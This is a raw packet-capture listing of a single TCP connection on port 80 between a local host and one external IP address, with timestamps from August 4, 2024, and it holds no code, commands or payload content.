Aug 4, 2024 02:21:38.201261997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201278925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201323986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201323986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201374054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201379061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201427937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201461077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201473951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201487064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201520920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201566935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201566935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201612949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201615095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201662064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201663971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201709986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201710939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201756001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201760054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201802015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201807022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201853037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201855898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201900959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201900959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201945066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201947927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201997995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201997995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202039957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202162027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202214003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202223063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202269077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202271938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202316999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202318907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202368021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202369928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202414989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202418089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202464104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202466965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202512026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202517986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202564001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202569008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202610970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202613115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202652931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202661037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202708006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202754974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202760935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202799082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202817917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202864885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202864885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202910900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202913046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.202961922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.202963114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203007936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203011036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203054905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203058958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203104019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203104973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203150034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203218937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203283072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203306913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203382015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203385115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203424931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203455925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203505039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203505993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203547955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203552961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203599930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203602076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203648090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203649044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203691959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203696012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203742981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203743935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203789949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203793049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203839064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203840971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203885078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203888893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203936100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203936100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.203975916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.203984022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204030037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204035044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204078913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204082966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204127073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204129934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204174042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204178095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204226017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204267979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204317093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204323053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204369068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204371929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204416037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204420090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204467058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204468966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204510927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204530954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204576969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204580069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204622984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.204632998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.204682112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.208827019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.208898067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.208906889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.208924055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.208937883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.208946943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.208971024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.208981037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.208991051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.209000111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.209017992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.209017992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.209037066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.209038973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.209062099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.209067106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.209079981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.209532976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.231055975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231183052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231234074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231276989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.231281042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231329918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231331110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.231378078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231427908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.231436968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.231482983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288141966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288290977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288346052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288414001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288464069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288470984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288513899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288528919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288570881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288574934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288625002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.288626909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.288686991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289014101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289110899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289113045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289156914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289160013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289205074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289208889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289254904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289272070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289314032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289319992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289366007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289369106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289414883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289417982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289462090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289464951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289510965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289515018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289556026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289572001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289617062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289619923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289664984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289669037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289716005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289719105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289764881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289764881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289805889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289813042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289858103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289861917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289906979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289921045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.289966106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.289968014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290013075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290014982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290061951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290062904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290102005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290107965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290153980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290154934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290198088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290201902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290249109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290251970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290262938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290294886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290297031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290344954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290395975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290410995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290452957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290456057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290498018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290499926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290544987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290545940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290592909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290594101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290638924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290642023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290687084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290693045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290740013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290740967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290783882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290790081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290836096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290837049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290884018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290884972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290930033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290934086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.290977955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.290982008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291023970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291029930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291076899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291080952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291121960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291141033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291187048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291188955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291234016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291235924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291282892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291282892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291326046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291332960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291379929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291382074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291419983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291426897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291471004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291472912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291517019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291518927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291560888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291562080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291605949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291610003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291655064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291656017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291711092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291714907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291757107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291760921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291804075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291806936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291855097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291855097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291898966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291918993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.291965961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.291966915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292016029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292017937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292017937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292063951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292085886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292104006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292114973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292160988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292162895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292198896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292207003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292244911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292254925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292299032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292303085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292342901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292350054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292383909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292396069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292433977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292442083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292490959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292787075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292838097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.292946100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292984009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.292989016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293020010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293054104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293067932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293087959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293096066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293132067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293138027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293171883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293176889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293206930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293241978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293275118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293283939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293283939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293284893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293307066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293342113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293358088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293358088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293375969 CEST	80	49757	147.45.44.104	192.168.2.4
